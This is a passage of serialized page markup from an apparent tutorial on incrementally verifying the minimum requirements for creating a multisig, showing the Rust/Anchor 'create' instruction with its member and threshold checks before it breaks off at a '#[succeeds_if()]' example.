guarantees",{"type":25,"tag":40,"props":24282,"children":24284},{"id":24283},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[24285],{"type":31,"value":24286},"1. Incrementally verifying minimum requirements to create a multisig",{"type":25,"tag":34,"props":24288,"children":24289},{},[24290,24292,24297],{"type":31,"value":24291},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":25,"tag":115,"props":24293,"children":24295},{"className":24294},[],[24296],{"type":31,"value":21651},{"type":31,"value":24298}," expression.",{"type":25,"tag":34,"props":24300,"children":24301},{},[24302,24304,24309,24311,24317],{"type":31,"value":24303},"Creating a multisig (",{"type":25,"tag":115,"props":24305,"children":24307},{"className":24306},[],[24308],{"type":31,"value":24237},{"type":31,"value":24310},") requires invoking the ",{"type":25,"tag":115,"props":24312,"children":24314},{"className":24313},[],[24315],{"type":31,"value":24316},"create",{"type":31,"value":24318}," instruction:",{"type":25,"tag":191,"props":24320,"children":24322},{"code":24321,"language":4486,"meta":7,"className":4487,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[24323],{"type":25,"tag":115,"props":24324,"children":24325},{"__ignoreMap":7},[24326,24343,24398,24428,24436,24444,24461,24512,24560,24568,24609,24616,24632,24665,24707,24714,24721,24740,24768,24788,24808,24836,24855,24863,24891,24911,24931,24938,24946,24978,25001,25035,25042,25049,25057,25098,25130,25137,25144,25152,25227,25259,25266,25273,25309,25321,25333,25345,25398,25406],{"type":25,"tag":201,"props":24327,"children":24328},{"class":203,"line":204},[24329,24334,24339],{"type":25,"tag":201,"props":24330,"children":24331},{"style":220},[24332],{"type":31,"value":24333},"#[derive(",{"type":25,"tag":201,"props":24335,"children":24336},{"style":4925},[24337],{"type":31,"value":24338},"Accounts",{"type":25,"tag":201,"props":24340,"children":24341},{"style":220},[24342],{"type":31,"value":21755},{"type":25,"tag":201,"props":24344,"children":24345},{"class":203,"line":226},[24346,24351,24355,24359,24364,24368,24372,24377,24381,24385,24389,24393],{"type":25,"tag":201,"props":24347,"children":24348},{"style":220},[24349],{"type":31,"value":24350},"#[instruction(threshold",{"type":25,"tag":201,"props":24352,"children":24353},{"style":261},[24354],{"type":31,"value":5997},{"type":25,"tag":201,"props":24356,"children":24357},{"style":4925},[24358],{"type":31,"value":22525},{"type":25,"tag":201,"props":24360,"children":24361},{"style":220},[24362],{"type":31,"value":24363},", create_key",{"type":25,"tag":201,"props":24365,"children":24366},{"style":261},[24367],{"type":31,"value":5997},{"type":25,"tag":201,"props":24369,"children":24370},{"style":4925},[24371],{"type":31,"value":22352},{"type":25,"tag":201,"props":24373,"children":24374},{"style":220},[24375],{"type":31,"value":24376},", members",{"type":25,"tag":201,"props":24378,"children":24379},{"style":261},[24380],{"type":31,"value":5997},{"type":25,"tag":201,"props":24382,"children":24383},{"style":4925},[24384],{"type":31,"value":22884},{"type":25,"tag":201,"props":24386,"children":24387},{"style":220},[24388],{"type":31,"value":1298},{"type":25,"tag":201,"props":24390,"children":24391},{"style":4925},[24392],{"type":31,"value":22893},{"type":25,"tag":201,"props":24394,"children":24395},{"style":220},[24396],{"type":31,"value":24397},">)]\n",{"type":25,"tag":201,"props":24399,"children":24400},{"class":203,"line":278},[24401,24405,24409,24414,24419,24424],{"type":25,"tag":201,"props":24402,"children":24403},{"style":208},[24404],{"type":31,"value":15192},{"type":25,"tag":201,"props":24406,"children":24407},{"style":208},[24408],{"type":31,"value":22646},{"type":25,"tag":201,"props":24410,"children":24411},{"style":4925},[24412],{"type":31,"value":24413}," Create",{"type":25,"tag":201,"props":24415,"children":24416},{"style":220},[24417],{"type":31,"value":24418},"\u003C'",{"type":25,"tag":201,"props":24420,"children":24421},{"style":4925},[24422],{"type":31,"value":24423},"info",{"type":25,"tag":201,"props":24425,"children":24426},{"style":220},[24427],{"type":31,"value":8790},{"type":25,"tag":201,"props":24429,"children":24430},{"class":203,"line":311},[24431],{"type":25,"tag":201,"props":24432,"children":24433},{"style":220},[24434],{"type":31,"value":24435},"    #[account(\n",{"type":25,"tag":201,"props":24437,"children":24438},{"class":203,"line":330},[24439],{"type":25,"tag":201,"props":24440,"children":24441},{"style":220},[24442],{"type":31,"value":24443},"        init,\n",{"type":25,"tag":201,"props":24445,"children":24446},{"class":203,"line":397},[24447,24452,24456],{"type":25,"tag":201,"props":24448,"children":24449},{"style":220},[24450],{"type":31,"value":24451},"        payer ",{"type":25,"tag":201,"props":24453,"children":24454},{"style":261},[24455],{"type":31,"value":1383},{"type":25,"tag":201,"props":24457,"children":24458},{"style":220},[24459],{"type":31,"value":24460}," creator,\n",{"type":25,"tag":201,"props":24462,"children":24463},{"class":203,"line":437},[24464,24469,24473,24477,24481,24486,24490,24495,24499,24503,24507],{"type":25,"tag":201,"props":24465,"children":24466},{"style":220},[24467],{"type":31,"value":24468},"        space ",{"type":25,"tag":201,"props":24470,"children":24471},{"style":261},[24472],{"type":31,"value":1383},{"type":25,"tag":201,"props":24474,"children":24475},{"style":4925},[24476],{"type":31,"value":22651},{"type":25,"tag":201,"props":24478,"children":24479},{"style":261},[24480],{"type":31,"value":4988},{"type":25,"tag":201,"props":24482,"children":24483},{"style":4925},[24484],{"type":31,"value":24485},"SIZE_WITHOUT_MEMBERS",{"type":25,"tag":201,"props":24487,"children":24488},{"style":261},[24489],{"type":31,"value":10412},{"type":25,"tag":201,"props":24491,"children":24492},{"style":220},[24493],{"type":31,"value":24494}," (members",{"type":25,"tag":201,"props":24496,"children":24497},{"style":261},[24498],{"type":31,"value":80},{"type":25,"tag":201,"props":24500,"children":24501},{"style":220},[24502],{"type":31,"value":22516},{"type":25,"tag":201,"props":24504,"children":24505},{"style":261},[24506],{"type":31,"value":6077},{"type":25,"tag":201,"props":24508,"children":24509},{"style":220},[24510],{"type":31,"value":24511}," 32),\n",{"type":25,"tag":201,"props":24513,"children":24514},{"class":203,"line":464},[24515,24520,24524,24528,24533,24537,24541,24546,24551,24555],{"type":25,"tag":201,"props":24516,"children":24517},{"style":220},[24518],{"type":31,"value":24519},"        seeds ",{"type":25,"tag":201,"props":24521,"children":24522},{"style":261},[24523],{"type":31,"value":1383},{"type":25,"tag":201,"props":24525,"children":24526},{"style":220},[24527],{"type":31,"value":4088},{"type":25,"tag":201,"props":24529,"children":24530},{"style":267},[24531],{"type":31,"value":24532},"b\"squad\"",{"type":25,"tag":201,"props":24534,"children":24535},{"style":220},[24536],{"type":31,"value":24363},{"type":25,"tag":201,"props":24538,"children":24539},{"style":261},[24540],{"type":31,"value":80},{"type":25,"tag":201,"props":24542,"children":24543},{"style":220},[24544],{"type":31,"value":24545},"as_ref(), ",{"type":25,"tag":201,"props":24547,"children":24548},{"style":267},[24549],{"type":31,"value":24550},"b\"multisig\"",{"type":25,"tag":201,"props":24552,"children":24553},{"style":220},[24554],{"type":31,"value":1930},{"type":25,"tag":201,"props":24556,"children":24557},{"style":246},[24558],{"type":31,"value":24559},"bump\n",{"type":25,"tag":201,"props":24561,"children":24562},{"class":203,"line":490},[24563],{"type":25,"tag":201,"props":24564,"children":24565},{"style":220},[24566],{"type":31,"value":24567},"    )]\n",{"type":25,"tag":201,"props":24569,"children":24570},{"class":203,"line":499},[24571,24575,24580,24584,24589,24593,24597,24601,24605],{"type":25,"tag":201,"props":24572,"children":24573},{"style":208},[24574],{"type":31,"value":22338},{"type":25,"tag":201,"props":24576,"children":24577},{"style":246},[24578],{"type":31,"value":24579}," multisig",{"type":25,"tag":201,"props":24581,"children":24582},{"style":261},[24583],{"type":31,"value":5997},{"type":25,"tag":201,"props":24585,"children":24586},{"style":4925},[24587],{"type":31,"value":24588}," Account",{"type":25,"tag":201,"props":24590,"children":24591},{"style":220},[24592],{"type":31,"value":24418},{"type":25,"tag":201,"props":24594,"children":24595},{"style":4925},[24596],{"type":31,"value":24423},{"type":25,"tag":201,"props":24598,"children":24599},{"style":220},[24600],{"type":31,"value":919},{"type":25,"tag":201,"props":24602,"children":24603},{"style":4925},[24604],{"type":31,"value":24237},{"type":25,"tag":201,"props":24606,"children":24607},{"style":220},[24608],{"type":31,"value":7646},{"type":25,"tag":201,"props":24610,"children":24611},{"class":203,"line":522},[24612],{"type":25,"tag":201,"props":24613,"children":24614},{"emptyLinePlaceholder":17},[24615],{"type":31,"value":496},{"type":25,"tag":201,"props":24617,"children":24618},{"class":203,"line":531},[24619,24624,24628],{"type":25,"tag":201,"props":24620,"children":24621},{"style":220},[24622],{"type":31,"value":24623},"    #[account(",{"type":25,"tag":201,"props":24625,"children":24626},{"style":208},[24627],{"type":31,"value":5228},{"type":25,"tag":201,"props":24629,"children":24630},{"style":220},[24631],{"type":31,"value":21755},{"type":25,"tag":201,"props":24633,"children":24634},{"class":203,"line":550},[24635,24639,24644,24648,24653,24657,24661],{"type":25,"tag":201,"props":24636,"children":24637},{"style":208},[24638],{"type":31,"value":22338},{"type":25,"tag":201,"props":24640,"children":24641},{"style":246},[24642],{"type":31,"value":24643}," creator",{"type":25,"tag":201,"props":24645,"children":24646},{"style":261},[24647],{"type":31,"value":5997},{"type":25,"tag":201,"props":24649,"children":24650},{"style":4925},[24651],{"type":31,"value":24652}," Signer",{"type":25,"tag":201,"props":24654,"children":24655},{"style":220},[24656],{"type":31,"value":24418},{"type":25,"tag":201,"props":24658,"children":24659},{"style":4925},[24660],{"type":31,"value":24423},{"type":25,"tag":201,"props":24662,"children":24663},{"style":220},[24664],{"type":31,"value":7646},{"type":25,"tag":201,"props":24666,"children":24667},{"class":203,"line":563},[24668,24672,24677,24681,24686,24690,24694,24698,24703],{"type":25,"tag":201,"props":24669,"children":24670},{"style":208},[24671],{"type":31,"value":22338},{"type":25,"tag":201,"props":24673,"children":24674},{"style":246},[24675],{"type":31,"value":24676}," system_program",{"type":25,"tag":201,"props":24678,"children":24679},{"style":261},[24680],{"type":31,"value":5997},{"type":25,"tag":201,"props":24682,"children":24683},{"style":4925},[24684],{"type":31,"value":24685}," Program",{"type":25,"tag":201,"props":24687,"children":24688},{"style":220},[24689],{"type":31,"value":24418},{"type":25,"tag":201,"props":24691,"children":24692},{"style":4925},[24693],{"type":31,"value":24423},{"type":25,"tag":201,"props":24695,"children":24696},{"style":220},[24697],{"type":31,"value":919},{"type":25,"tag":201,"props":24699,"children":24700},{"style":4925},[24701],{"type":31,"value":24702},"System",{"type":25,"tag":201,"props":24704,"children":24705},{"style":220},[24706],{"type":31,"value":7646},{"type":25,"tag":201,"props":24708,"children":24709},{"class":203,"line":572},[24710],{"type":25,"tag":201,"props":24711,"children":24712},{"style":220},[24713],{"type":31,"value":1187},{"type":25,"tag":201,"props":24715,"children":24716},{"class":203,"line":590},[24717],{"type":25,"tag":201,"props":24718,"children":24719},{"emptyLinePlaceholder":17},[24720],{"type":31,"value":496},{"type":25,"tag":201,"props":24722,"children":24723},{"class":203,"line":608},[24724,24728,24732,24736],{"type":25,"tag":201,"props":24725,"children":24726},{"style":208},[24727],{"type":31,"value":15192},{"type":25,"tag":201,"props":24729,"children":24730},{"style":208},[24731],{"type":31,"value":15197},{"type":25,"tag":201,"props":24733,"children":24734},{"style":214},[24735],{"type":31,"value":8621},{"type":25,"tag":201,"props":24737,"children":24738},{"style":220},[24739],{"type":31,"value":4970},{"type":25,"tag":201,"props":24741,"children":24742},{"class":203,"line":617},[24743,24747,24751,24755,24759,24764],{"type":25,"tag":201,"props":24744,"children":24745},{"style":246},[24746],{"type":31,"value":21720},{"type":25,"tag":201,"props":24748,"children":24749},{"style":261},[24750],{"type":31,"value":5997},{"type":25,"tag":201,"props":24752,"children":24753},{"style":4925},[24754],{"type":31,"value":21786},{"type":25,"tag":201,"props":24756,"children":24757},{"style":220},[24758],{"type":31,"value":1298},{"type":25,"tag":201,"props":24760,"children":24761},{"style":4925},[24762],{"type":31,"value":24763},"Create",{"type":25,"tag":201,"props":24765,"children":24766},{"style":220},[24767],{"type":31,"value":7646},{"type":25,"tag":201,"props":24769,"children":24770},{"class":203,"line":625},[24771,24776,24780,24784],{"type":25,"tag":201,"props":24772,"children":24773},{"style":246},[24774],{"type":31,"value":24775},"    threshold",{"type":25,"tag":201,"props":24777,"children":24778},{"style":261},[24779],{"type":31,"value":5997},{"type":25,"tag":201,"props":24781,"children":24782},{"style":4925},[24783],{"type":31,"value":22525},{"type":25,"tag":201,"props":24785,"children":24786},{"style":220},[24787],{"type":31,"value":547},{"type":25,"tag":201,"props":24789,"children":24790},{"class":203,"line":642},[24791,24796,24800,24804],{"type":25,"tag":201,"props":24792,"children":24793},{"style":246},[24794],{"type":31,"value":24795},"    create_key",{"type":25,"tag":201,"props":24797,"children":24798},{"style":261},[24799],{"type":31,"value":5997},{"type":25,"tag":201,"props":24801,"children":24802},{"style":4925},[24803],{"type":31,"value":22352},{"type":25,"tag":201,"props":24805,"children":24806},{"style":220},[24807],{"type":31,"value":547},{"type":25,"tag":201,"props":24809,"children":24810},{"class":203,"line":659},[24811,24816,24820,24824,24828,24832],{"type":25,"tag":201,"props":24812,"children":24813},{"style":246},[24814],{"type":31,"value":24815},"    members",{"type":25,"tag":201,"props":24817,"children":24818},{"style":261},[24819],{"type":31,"value":5997},{"type":25,"tag":201,"props":24821,"children":24822},{"style":4925},[24823],{"type":31,"value":22884},{"type":25,"tag":201,"props":24825,"children":24826},{"style":220},[24827],{"type":31,"value":1298},{"type":25,"tag":201,"props":24829,"children":24830},{"style":4925},[24831],{"type":31,"value":22893},{"type":25,"tag":201,"props":24833,"children":24834},{"style":220},[24835],{"type":31,"value":7646},{"type":25,"tag":201,"props":24837,"children":24838},{"class":203,"line":667},[24839,24843,24847,24851],{"type":25,"tag":201,"props":24840,"children":24841},{"style":220},[24842],{"type":31,"value":385},{"type":25,"tag":201,"props":24844,"children":24845},{"style":261},[24846],{"type":31,"value":15259},{"type":25,"tag":201,"props":24848,"children":24849},{"style":4925},[24850],{"type":31,"value":15264},{"type":25,"tag":201,"props":24852,"children":24853},{"style":220},[24854],{"type":31,"value":21828},{"type":25,"tag":201,"props":24856,"children":24857},{"class":203,"line":676},[24858],{"type":25,"tag":201,"props":24859,"children":24860},{"style":4497},[24861],{"type":31,"value":24862},"    // sort the members and remove duplicates\n",{"type":25,"tag":201,"props":24864,"children":24865},{"class":203,"line":694},[24866,24870,24874,24879,24883,24887],{"type":25,"tag":201,"props":24867,"children":24868},{"style":208},[24869],{"type":31,"value":4508},{"type":25,"tag":201,"props":24871,"children":24872},{"style":208},[24873],{"type":31,"value":4513},{"type":25,"tag":201,"props":24875,"children":24876},{"style":246},[24877],{"type":31,"value":24878}," members",{"type":25,"tag":201,"props":24880,"children":24881},{"style":261},[24882],{"type":31,"value":413},{"type":25,"tag":201,"props":24884,"children":24885},{"style":246},[24886],{"type":31,"value":24878},{"type":25,"tag":201,"props":24888,"children":24889},{"style":220},[24890],{"type":31,"value":461},{"type":25,"tag":201,"props":24892,"children":24893},{"class":203,"line":707},[24894,24898,24902,24907],{"type":25,"tag":201,"props":24895,"children":24896},{"style":246},[24897],{"type":31,"value":24815},{"type":25,"tag":201,"props":24899,"children":24900},{"style":261},[24901],{"type":31,"value":80},{"type":25,"tag":201,"props":24903,"children":24904},{"style":214},[24905],{"type":31,"value":24906},"sort",{"type":25,"tag":201,"props":24908,"children":24909},{"style":220},[24910],{"type":31,"value":1985},{"type":25,"tag":201,"props":24912,"children":24913},{"class":203,"line":715},[24914,24918,24922,24927],{"type":25,"tag":201,"props":24915,"children":24916},{"style":246},[24917],{"type":31,"value":24815},{"type":25,"tag":201,"props":24919,"children":24920},{"style":261},[24921],{"type":31,"value":80},{"type":25,"tag":201,"props":24923,"children":24924},{"style":214},[24925],{"type":31,"value":24926},"dedup",{"type":25,"tag":201,"props":24928,"children":24929},{"style":220},[24930],{"type":31,"value":1985},{"type":25,"tag":201,"props":24932,"children":24933},{"class":203,"line":732},[24934],{"type":25,"tag":201,"props":24935,"children":24936},{"emptyLinePlaceholder":17},[24937],{"type":31,"value":496},{"type":25,"tag":201,"props":24939,"children":24940},{"class":203,"line":749},[24941],{"type":25,"tag":201,"props":24942,"children":24943},{"style":4497},[24944],{"type":31,"value":24945},"    // check we don't exceed u16\n",{"type":25,"tag":201,"props":24947,"children":24948},{"class":203,"line":757},[24949,24953,24958,24962,24966,24970,24974],{"type":25,"tag":201,"props":24950,"children":24951},{"style":208},[24952],{"type":31,"value":4508},{"type":25,"tag":201,"props":24954,"children":24955},{"style":246},[24956],{"type":31,"value":24957}," total_members",{"type":25,"tag":201,"props":24959,"children":24960},{"style":261},[24961],{"type":31,"value":413},{"type":25,"tag":201,"props":24963,"children":24964},{"style":246},[24965],{"type":31,"value":24878},{"type":25,"tag":201,"props":24967,"children":24968},{"style":261},[24969],{"type":31,"value":80},{"type":25,"tag":201,"props":24971,"children":24972},{"style":214},[24973],{"type":31,"value":10643},{"type":25,"tag":201,"props":24975,"children":24976},{"style":220},[24977],{"type":31,"value":1985},{"type":25,"tag":201,"props":24979,"children":24980},{"class":203,"line":765},[24981,24985,24989,24993,24997],{"type":25,"tag":201,"props":24982,"children":24983},{"style":230},[24984],{"type":31,"value":13781},{"type":25,"tag":201,"props":24986,"children":24987},{"style":246},[24988],{"type":31,"value":24957},{"type":25,"tag":201,"props":24990,"children":24991},{"style":261},[24992],{"type":31,"value":3208},{"type":25,"tag":201,"props":24994,"children":24995},{"style":426},[24996],{"type":31,"value":6029},{"type":25,"tag":201,"props":24998,"children":24999},{"style":220},[25000],{"type":31,"value":327},{"type":25,"tag":201,"props":25002,"children":25003},{"class":203,"line":783},[25004,25008,25013,25017,25022,25026,25031],{"type":25,"tag":201,"props":25005,"children":25006},{"style":230},[25007],{"type":31,"value":17239},{"type":25,"tag":201,"props":25009,"children":25010},{"style":214},[25011],{"type":31,"value":25012}," err!",{"type":25,"tag":201,"props":25014,"children":25015},{"style":220},[25016],{"type":31,"value":298},{"type":25,"tag":201,"props":25018,"children":25019},{"style":4925},[25020],{"type":31,"value":25021},"MsError",{"type":25,"tag":201,"props":25023,"children":25024},{"style":261},[25025],{"type":31,"value":4988},{"type":25,"tag":201,"props":25027,"children":25028},{"style":4925},[25029],{"type":31,"value":25030},"EmptyMembers",{"type":25,"tag":201,"props":25032,"children":25033},{"style":220},[25034],{"type":31,"value":308},{"type":25,"tag":201,"props":25036,"children":25037},{"class":203,"line":792},[25038],{"type":25,"tag":201,"props":25039,"children":25040},{"style":220},[25041],{"type":31,"value":4861},{"type":25,"tag":201,"props":25043,"children":25044},{"class":203,"line":801},[25045],{"type":25,"tag":201,"props":25046,"children":25047},{"emptyLinePlaceholder":17},[25048],{"type":31,"value":496},{"type":25,"tag":201,"props":25050,"children":25051},{"class":203,"line":809},[25052],{"type":25,"tag":201,"props":25053,"children":25054},{"style":4497},[25055],{"type":31,"value":25056},"    // make sure we don't exceed u16 on first call\n",{"type":25,"tag":201,"props":25058,"children":25059},{"class":203,"line":857},[25060,25064,25068,25072,25076,25080,25084,25089,25093],{"type":25,"tag":201,"props":25061,"children":25062},{"style":230},[25063],{"type":31,"value":13781},{"type":25,"tag":201,"props":25065,"children":25066},{"style":246},[25067],{"type":31,"value":24957},{"type":25,"tag":201,"props":25069,"children":25070},{"style":261},[25071],{"type":31,"value":15696},{"type":25,"tag":201,"props":25073,"children":25074},{"style":4925},[25075],{"type":31,"value":15233},{"type":25,"tag":201,"props":25077,"children":25078},{"style":261},[25079],{"type":31,"value":4988},{"type":25,"tag":201,"props":25081,"children":25082},{"style":214},[25083],{"type":31,"value":20972},{"type":25,"tag":201,"props":25085,"children":25086},{"style":220},[25087],{"type":31,"value":25088},"(u16",{"type":25,"tag":201,"props":25090,"children":25091},{"style":261},[25092],{"type":31,"value":4988},{"type":25,"tag":201,"props":25094,"children":25095},{"style":220},[25096],{"type":31,"value":25097},"MAX) {\n",{"type":25,"tag":201,"props":25099,"children":25100},{"class":203,"line":865},[25101,25105,25109,25113,25117,25121,25126],{"type":25,"tag":201,"props":25102,"children":25103},{"style":230},[25104],{"type":31,"value":17239},{"type":25,"tag":201,"props":25106,"children":25107},{"style":214},[25108],{"type":31,"value":25012},{"type":25,"tag":201,"props":25110,"children":25111},{"style":220},[25112],{"type":31,"value":298},{"type":25,"tag":201,"props":25114,"children":25115},{"style":4925},[25116],{"type":31,"value":25021},{"type":25,"tag":201,"props":25118,"children":25119},{"style":261},[25120],{"type":31,"value":4988},{"type":25,"tag":201,"props":25122,"children":25123},{"style":4925},[25124],{"type":31,"value":25125},"MaxMembersReached",{"type":25,"tag":201,"props":25127,"children":25128},{"style":220},[25129],{"type":31,"value":308},{"type":25,"tag":201,"props":25131,"children":25132},{"class":203,"line":931},[25133],{"type":25,"tag":201,"props":25134,"children":25135},{"style":220},[25136],{"type":31,"value":4861},{"type":25,"tag":201,"props":25138,"children":25139},{"class":203,"line":939},[25140],{"type":25,"tag":201,"props":25141,"children":25142},{"emptyLinePlaceholder":17},[25143],{"type":31,"value":496},{"type":25,"tag":201,"props":25145,"children":25146},{"class":203,"line":960},[25147],{"type":25,"tag":201,"props":25148,"children":25149},{"style":4497},[25150],{"type":31,"value":25151},"    // make sure threshold is valid\n",{"type":25,"tag":201,"props":25153,"children":25154},{"class":203,"line":977},[25155,25159,25163,25167,25171,25175,25179,25184,25188,25193,25197,25201,25205,25209,25213,25218,25223],{"type":25,"tag":201,"props":25156,"children":25157},{"style":230},[25158],{"type":31,"value":13781},{"type":25,"tag":201,"props":25160,"children":25161},{"style":4925},[25162],{"type":31,"value":15233},{"type":25,"tag":201,"props":25164,"children":25165},{"style":261},[25166],{"type":31,"value":4988},{"type":25,"tag":201,"props":25168,"children":25169},{"style":214},[25170],{"type":31,"value":20972},{"type":25,"tag":201,"props":25172,"children":25173},{"style":220},[25174],{"type":31,"value":298},{"type":25,"tag":201,"props":25176,"children":25177},{"style":246},[25178],{"type":31,"value":24245},{"type":25,"tag":201,"props":25180,"children":25181},{"style":220},[25182],{"type":31,"value":25183},") \u003C ",{"type":25,"tag":201,"props":25185,"children":25186},{"style":426},[25187],{"type":31,"value":5516},{"type":25,"tag":201,"props":25189,"children":25190},{"style":261},[25191],{"type":31,"value":25192}," ||",{"type":25,"tag":201,"props":25194,"children":25195},{"style":4925},[25196],{"type":31,"value":15233},{"type":25,"tag":201,"props":25198,"children":25199},{"style":261},[25200],{"type":31,"value":4988},{"type":25,"tag":201,"props":25202,"children":25203},{"style":214},[25204],{"type":31,"value":20972},{"type":25,"tag":201,"props":25206,"children":25207},{"style":220},[25208],{"type":31,"value":298},{"type":25,"tag":201,"props":25210,"children":25211},{"style":246},[25212],{"type":31,"value":24245},{"type":25,"tag":201,"props":25214,"children":25215},{"style":220},[25216],{"type":31,"value":25217},") > ",{"type":25,"tag":201,"props":25219,"children":25220},{"style":246},[25221],{"type":31,"value":25222},"total_members",{"type":25,"tag":201,"props":25224,"children":25225},{"style":220},[25226],{"type":31,"value":327},{"type":25,"tag":201,"props":25228,"children":25229},{"class":203,"line":994},[25230,25234,25238,25242,25246,25250,25255],{"type":25,"tag":201,"props":25231,"children":25232},{"style":230},[25233],{"type":31,"value":17239},{"type":25,"tag":201,"props":25235,"children":25236},{"style":214},[25237],{"type":31,"value":25012},{"type":25,"tag":201,"props":25239,"children":25240},{"style":220},[25241],{"type":31,"value":298},{"type":25,"tag":201,"props":25243,"children":25244},{"style":4925},[25245],{"type":31,"value":25021},{"type":25,"tag":201,"props":25247,"children":25248},{"style":261},[25249],{"type":31,"value":4988},{"type":25,"tag":201,"props":25251,"children":25252},{"style":4925},[25253],{"type":31,"value":25254},"InvalidThreshold",{"type":25,"tag":201,"props":25256,"children":25257},{"style":220},[25258],{"type":31,"value":308},{"type":25,"tag":201,"props":25260,"children":25261},{"class":203,"line":1016},[25262],{"type":25,"tag":201,"props":25263,"children":25264},{"style":220},[25265],{"type":31,"value":4861},{"type":25,"tag":201,"props":25267,"children":25268},{"class":203,"line":1089},[25269],{"type":25,"tag":201,"props":25270,"children":25271},{"emptyLinePlaceholder":17},[25272],{"type":31,"value":496},{"type":25,"tag":201,"props":25274,"children":25275},{"class":203,"line":1107},[25276,25280,25284,25288,25292,25297,25301,25305],{"type":25,"tag":201,"props":25277,"children":25278},{"style":246},[25279],{"type":31,"value":21720},{"type":25,"tag":201,"props":25281,"children":25282},{"style":261},[25283],{"type":31,"value":80},{"type":25,"tag":201,"props":25285,"children":25286},{"style":220},[25287],{"type":31,"value":380},{"type":25,"tag":201,"props":25289,"children":25290},{"style":261},[25291],{"type":31,"value":80},{"type":25,"tag":201,"props":25293,"children":25294},{"style":220},[25295],{"type":31,"value":25296},"multisig",{"type":25,"tag":201,"props":25298,"children":25299},{"style":261},[25300],{"type":31,"value":80},{"type":25,"tag":201,"props":25302,"children":25303},{"style":214},[25304],{"type":31,"value":22236},{"type":25,"tag":201,"props":25306,"children":25307},{"style":220},[25308],{"type":31,"value":4970},{"type":25,"tag":201,"props":25310,"children":25311},{"class":203,"line":1116},[25312,25317],{"type":25,"tag":201,"props":25313,"children":25314},{"style":246},[25315],{"type":31,"value":25316},"        threshold",{"type":25,"tag":201,"props":25318,"children":25319},{"style":220},[25320],{"type":31,"value":547},{"type":25,"tag":201,"props":25322,"children":25323},{"class":203,"line":1124},[25324,25329],{"type":25,"tag":201,"props":25325,"children":25326},{"style":246},[25327],{"type":31,"value":25328},"        create_key",{"type":25,"tag":201,"props":25330,"children":25331},{"style":220},[25332],{"type":31,"value":547},{"type":25,"tag":201,"props":25334,"children":25335},{"class":203,"line":1163},[25336,25341],{"type":25,"tag":201,"props":25337,"children":25338},{"style":246},[25339],{"type":31,"value":25340},"        members",{"type":25,"tag":201,"props":25342,"children":25343},{"style":220},[25344],{"type":31,"value":547},{"type":25,"tag":201,"props":25346,"children":25347},{"class":203,"line":1172},[25348,25352,25356,25360,25365,25369,25373,25377,25382,25386,25390,25394],{"type":25,"tag":201,"props":25349,"children":25350},{"style":261},[25351],{"type":31,"value":9260},{"type":25,"tag":201,"props":25353,"children":25354},{"style":246},[25355],{"type":31,"value":21777},{"type":25,"tag":201,"props":25357,"children":25358},{"style":261},[25359],{"type":31,"value":80},{"type":25,"tag":201,"props":25361,"children":25362},{"style":220},[25363],{"type":31,"value":25364},"bumps",{"type":25,"tag":201,"props":25366,"children":25367},{"style":261},[25368],{"type":31,"value":80},{"type":25,"tag":201,"props":25370,"children":25371},{"style":214},[25372],{"type":31,"value":17847},{"type":25,"tag":201,"props":25374,"children":25375},{"style":220},[25376],{"type":31,"value":298},{"type":25,"tag":201,"props":25378,"children":25379},{"style":267},[25380],{"type":31,"value":25381},"\"multisig\"",{"type":25,"tag":201,"props":25383,"children":25384},{"style":220},[25385],{"type":31,"value":3073},{"type":25,"tag":201,"props":25387,"children":25388},{"style":261},[25389],{"type":31,"value":80},{"type":25,"tag":201,"props":25391,"children":25392},{"style":214},[25393],{"type":31,"value":5170},{"type":25,"tag":201,"props":25395,"children":25396},{"style":220},[25397],{"type":31,"value":1104},{"type":25,"tag":201,"props":25399,"children":25400},{"class":203,"line":1181},[25401],{"type":25,"tag":201,"props":25402,"children":25403},{"style":220},[25404],{"type":31,"value":25405},"    )\n",{"type":25,"tag":201,"props":25407,"children":25408},{"class":203,"line":1190},[25409],{"type":25,"tag":201,"props":25410,"children":25411},{"style":220},[25412],{"type":31,"value":1187},{"type":25,"tag":34,"props":25414,"children":25415},{},[25416,25418,25423,25425,25430],{"type":31,"value":25417},"We can start by testing an empty ",{"type":25,"tag":115,"props":25419,"children":25421},{"className":25420},[],[25422],{"type":31,"value":21651},{"type":31,"value":25424}," (this will default to ",{"type":25,"tag":115,"props":25426,"children":25428},{"className":25427},[],[25429],{"type":31,"value":5497},{"type":31,"value":25431},"):",{"type":25,"tag":191,"props":25433,"children":25435},{"code":25434,"language":4486,"meta":7,"className":4487,"style":7},"#[succeeds_if()]\npub fn create(...) { ... 